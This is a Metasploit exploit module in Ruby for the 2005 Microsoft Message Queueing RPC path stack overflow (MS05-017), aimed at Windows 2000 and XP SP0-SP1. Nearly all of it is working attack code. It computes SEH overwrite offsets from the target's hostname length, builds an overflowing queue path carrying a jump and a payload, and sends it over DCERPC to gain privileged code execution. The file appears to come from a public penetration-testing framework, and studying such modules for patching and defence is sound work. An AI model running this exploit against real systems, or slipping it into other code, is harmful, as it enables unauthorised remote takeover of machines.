Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::Remote::DCERPC

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Microsoft Message Queueing Service Path Overflow',

                        'Description'    => %q{

                                This module exploits a stack buffer overflow in the RPC interface

                                to the Microsoft Message Queueing service. The offset to the

                                return address changes based on the length of the system

                                hostname, so this must be provided via the 'HNAME' option.

                                Much thanks to snort.org and Jean-Baptiste Marchand's

                                excellent MSRPC website.

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-0059'],

                                        [ 'OSVDB', '15458'],

                                        [ 'MSB', 'MS05-017'],

                                        [ 'BID', '13112'],

                                ],

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 1024,

                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",

                                        'StackAdjustment' => -3500,

                                },

                        'Targets'        =>

                                [

                                        [

                                                'Windows 2000 ALL / Windows XP SP0-SP1 (English)',

                                                {

                                                        'Platform' => 'win',

                                                        'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe

                                                },

                                        ],

                                ],

                        'DisclosureDate' => 'Apr 12 2005',

                        'DefaultTarget' => 0))

                # Change the default port values to point at MSMQ

                register_options(

                        [

                                Opt::RPORT(2103),

                                OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),

                        ], self.class)

        end

        def autofilter

                # Common vulnerability scanning tools report port 445/139

                # due to how they test for the vulnerability. Remap this

                # back to 2103 for automated exploitation

                rport = datastore['RPORT'].to_i

                if ( rport == 445 or rport == 139 )

                        datastore['RPORT'] = 2103

                end

                # The NetBIOS hostname is required to exploit this bug reliably.

                if (not datastore['HNAME'])

                        # XXX automatically determine the hostname

                        return false

                end

                true

        end

        def exploit

                # MSMQ supports three forms of queue names, the two we can use are

                # the IP address and the hostname. If we use the IP address via the

                # TCP: format, the offset to the SEH frame will change depending on

                # the length of the real hostname. For this reason, we force the user

                # to supply us with the actual hostname.

                # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

                queue_name = "OS:#{datastore['HNAME']}";

                queue_hlen = datastore['HNAME'].length * 2

                queue_path = unicode(queue_name + "\\PRIVATE$\\")

                buf   = rand_text_english(4000, payload_badchars)

                # Windows 2000 SEH offset goes first

                buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')

                buf[372 - queue_hlen - 4, 2] = "\xeb\x22"

                # Windows XP SEH offset goes second

                seh = generate_seh_payload(target['Rets'][1])

                buf[400 - queue_hlen - 4, seh.length] = seh

                # Append the path to the location and null terminate it

                queue_path << buf << "\x00\x00"

                # Get the unicode length of this string

                queue_plen = queue_path.length / 2

                connect

                print_status("Trying target #{target.name}...")

                handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])

                print_status("Binding to #{handle} ...")

                dcerpc_bind(handle)

                print_status("Bound to #{handle} ...")

                stubdata =

                        NDR.long(1) +

                        NDR.long(1) +

                        NDR.long(1) +

                        NDR.long(3) +

                        NDR.long(3) +

                        NDR.long(2) +

                        NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)

                print_status('Sending exploit ...')

                response = dcerpc.call(9, stubdata)

                if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)

                        case dcerpc.last_response.stub_data

                                when "\x20\x00\x0e\xc0"

                                        print_status("The server rejected our request, the HNAME parameter could be incorrect")

                                when "\x1e\x00\x0e\xc0"

                                        print_status("The server does not appear to be exploitable")

                                else

                                        print_status("An unknown response was received from the server:")

                                        print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])

                        end

                end

                handler

                disconnect

        end

end